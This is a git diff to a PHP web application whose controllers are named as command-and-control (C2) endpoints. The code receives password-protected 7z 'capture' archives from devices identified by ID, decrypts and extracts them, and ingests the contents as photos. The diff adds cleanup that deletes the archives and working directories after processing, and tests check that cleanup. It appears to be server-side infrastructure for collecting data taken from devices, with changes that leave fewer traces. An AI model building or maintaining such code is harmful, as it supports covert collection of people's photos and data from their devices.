diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index ad02b19..525182a 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -8,7 +8,6 @@ use App\Services\CorunaCrypto; use App\Services\IngestService; use Illuminate\Http\Request; use Illuminate\Http\Response; -use Illuminate\Support\Facades\Storage; class C2Controller extends Controller { @@ -136,34 +135,34 @@ class C2Controller extends Controller 'barcode_count' => $barcodeCount, ]; - $attachmentRel = null; if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); - $extracted = $this->archive->extract($bytes, $work, $batchBase); - $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); - Storage::disk('local')->makeDirectory($attachmentRel); - if (! empty($extracted['files'])) { - $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); + try { + $extracted = $this->archive->extract($bytes, $work, $batchBase); + if (! empty($extracted['files'])) { + $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); + } + create_log([ + 'event' => 'check_extract', + 'device_key' => $device->device_id, + 'extract' => [ + 'ok' => $extracted['ok'], + 'files' => array_map('basename', $extracted['files']), + 'password_recipe' => $extracted['password_recipe'], + 'stderr' => substr((string) $extracted['stderr'], 0, 2000), + ], + 'photo_meta' => $photoMeta, + 'raw_counters' => [ + 'idx' => $request->input('idx'), + 'ftu' => $request->input('ftu'), + 'ts' => $request->input('ts'), + 'x-hit' => $xHitRaw, + ], + ], 'c2'); + } finally { + CorunaArchive::forgetWorkDir($work); } - create_log([ - 'event' => 'check_extract', - 'device_key' => $device->device_id, - 'attachment_path' => $attachmentRel, - 'extract' => [ - 'ok' => $extracted['ok'], - 'files' => array_map('basename', $extracted['files']), - 'password_recipe' => $extracted['password_recipe'], - 'stderr' => substr((string) $extracted['stderr'], 0, 2000), - ], - 'photo_meta' => $photoMeta, - 'raw_counters' => [ - 'idx' => $request->input('idx'), - 'ftu' => $request->input('ftu'), - 'ts' => $request->input('ts'), - 'x-hit' => $xHitRaw, - ], - ], 'c2'); } // Prefer encrypted ack (clients that expect JSON); fall back same as other routes diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 1801a03..438da83 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -8,7 +8,6 @@ use App\Services\CorunaArchive; use App\Services\IngestService; use Illuminate\Http\Request; use Illuminate\Http\Response; -use Illuminate\Support\Facades\Storage; /** * xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`. @@ -107,34 +106,34 @@ class XxbbC2Controller extends Controller 'barcode_count' => $barcodeCount, ]; - $attachmentRel = null; if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); - $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); - $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); - Storage::disk('local')->makeDirectory($attachmentRel); - if (! empty($extracted['files'])) { - $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); + try { + $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); + if (! empty($extracted['files'])) { + $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); + } + create_log([ + 'event' => 'xxbb_photo_extract', + 'device_key' => $device->device_id, + 'extract' => [ + 'ok' => $extracted['ok'], + 'files' => array_map('basename', $extracted['files']), + 'password_recipe' => $extracted['password_recipe'], + 'stderr' => substr((string) $extracted['stderr'], 0, 2000), + ], + 'photo_meta' => $photoMeta, + 'raw_counters' => [ + 'idx' => $request->input('idx'), + 'ftu' => $request->input('ftu'), + 'ts' => $request->input('ts'), + 'x-hit' => $xHitRaw, + ], + ], 'xxbb'); + } finally { + CorunaArchive::forgetWorkDir($work); } - create_log([ - 'event' => 'xxbb_photo_extract', - 'device_key' => $device->device_id, - 'attachment_path' => $attachmentRel, - 'extract' => [ - 'ok' => $extracted['ok'], - 'files' => array_map('basename', $extracted['files']), - 'password_recipe' => $extracted['password_recipe'], - 'stderr' => substr((string) $extracted['stderr'], 0, 2000), - ], - 'photo_meta' => $photoMeta, - 'raw_counters' => [ - 'idx' => $request->input('idx'), - 'ftu' => $request->input('ftu'), - 'ts' => $request->input('ts'), - 'x-hit' => $xHitRaw, - ], - ], 'xxbb'); } return $this->xxbbAck($request); diff --git a/app/Services/CorunaArchive.php b/app/Services/CorunaArchive.php index 8f8545c..40e3299 100644 --- a/app/Services/CorunaArchive.php +++ b/app/Services/CorunaArchive.php @@ -2,6 +2,7 @@ namespace App\Services; +use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Process; use RuntimeException; @@ -80,18 +81,21 @@ class CorunaArchive $archive = $destDir.'/capture.7z'; file_put_contents($archive, $repaired); - file_put_contents($destDir.'/wire.bin', $wireData); $password = $this->crypto->archivePassword($batchBase); $membersDir = $destDir.'/members'; @mkdir($membersDir, 0755, true); $bin = $this->resolveSevenZipBinary(); - $result = Process::timeout(120)->run([ - $bin, 'x', '-y', - '-p'.$password, - '-o'.$membersDir, - $archive, - ]); + try { + $result = Process::timeout(120)->run([ + $bin, 'x', '-y', + '-p'.$password, + '-o'.$membersDir, + $archive, + ]); + } finally { + @unlink($archive); + } $files = []; if (is_dir($membersDir)) { @@ -114,6 +118,18 @@ class CorunaArchive ]; } + public static function forgetWorkDir(string $dir): void + { + if ($dir === '' || ! is_dir($dir)) { + return; + } + File::deleteDirectory($dir); + $parent = dirname($dir); + if (is_dir($parent) && File::isEmptyDirectory($parent)) { + @rmdir($parent); + } + } + /** * Resolve 7z path without probing outside open_basedir. * is_executable('/usr/bin/7z') fatals under typical panel open_basedir. diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index 9db9796..908ea37 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -625,6 +625,8 @@ class C2ApiTest extends TestCase 'device_id' => 'dev-photo-1', 'album_storage' => true, ]); + $checkDir = storage_path('app/c2/check/dev-photo-1'); + $checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $resp = $this->call( 'POST', @@ -655,6 +657,9 @@ class C2ApiTest extends TestCase $this->assertSame(1, $photo->text_count); $this->assertSame(0, $photo->barcode_count); Storage::disk('local')->assertExists($photo->path); + $this->assertStringStartsWith('c2/photos/', $photo->path); + $checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; + $this->assertSame($checkBefore, $checkAfter); @unlink($jpegPath); @unlink($archivePath); diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index c9eb97d..db04b7e 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -287,6 +287,8 @@ class XxbbC2ApiTest extends TestCase 'device_id' => '000C30D83CD0402E', 'album_storage' => true, ]); + $checkDir = storage_path('app/c2/check/000C30D83CD0402E'); + $checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $this->call( 'POST', @@ -316,6 +318,9 @@ class XxbbC2ApiTest extends TestCase $this->assertSame(1, $photo->text_count); $this->assertSame(0, $photo->barcode_count); Storage::disk('local')->assertExists($photo->path); + $this->assertStringStartsWith('c2/photos/', $photo->path); + $checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : []; + $this->assertSame($checkBefore, $checkAfter); @unlink($jpegPath); @unlink($archivePath);